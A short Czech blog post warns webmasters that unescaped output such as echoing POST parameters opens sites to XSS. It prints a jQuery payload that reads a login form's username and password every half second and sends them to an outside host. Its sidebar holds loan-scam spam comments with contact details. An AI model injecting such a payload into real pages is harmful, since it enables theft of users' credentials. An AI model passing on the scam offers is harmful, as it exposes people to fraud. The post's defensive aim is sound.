S XSS zranitelností se dá napáchat více škody, než si myslíte | Michal Smrčka - blog

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


Čtěte také:
13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka
 

Názory a komentáře k článku


[1] Roman 27. 03. 2011, 21:46
Takhle to využít to mě teda ještě nenapadlo. Drsné:D

Přidat komentář

Jméno
E-mail
Web
Text
    Odesláním souhlasíte s pravidly.

Kategorie blogu

Twitter feed

Poslední články

Poslední komentáře

Stanislav Kovac: Stále potřebujete finanční pomoc a nevíte, kde ji získáte, kontaktujte pana Peter Krajčovič na senatorrpwalter@hotmail.com, http://spkinvestment.com/ za úvěr, protože od něj obdržel podnikatelský úvěr ve výši 1.000.000 €. Je zaručeno. Ukázat
mike peterson: Potřebujete půjčku? nabízíme všechny druhy půjček, jako jsou osobní půjčky, dluhové konsolidační úvěry, rizikový kapitál, podnikatelský úvěr, vzdělávací půjčka, domácí úvěr a úvěr z jakéhokoli důvodu a naléhavých potřeb !. s úrokovou sazbou 2% Byla jste odmítnuta vaší bankou? Máte špatný kredit? Máte... Ukázat
Kesby Karen: Jsem paní Kesbyová Karenová a to mi dává radost, když píšu tento článek svého svědectví o tom, jak jsem se dosud stal finančně stabilním a souhrnem své předchozí finanční fáze. Domnívám se, že není nikdo, kdo nemá rád peníze, když člověk má finanční... Ukázat
Joyce Franklin: Ahoj všichni Jsem paní Lisa Monica z Limy, Peru. Rád bych se podělil o Boží dobrota v mém životě po tolika měsících, kdy jsem se snažil dostat půjčku na internet a byl jsem scammed, takže jsem se stal neklidným a zoufalým při získávání... Ukázat
Joyce Franklin: Ahoj všichni Jsem paní Lisa Monica z Limy, Peru. Rád bych se podělil o Boží dobrota v mém životě po tolika měsících, kdy jsem se snažil dostat půjčku na internet a byl jsem scammed, takže jsem se stal neklidným a zoufalým při získávání... Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc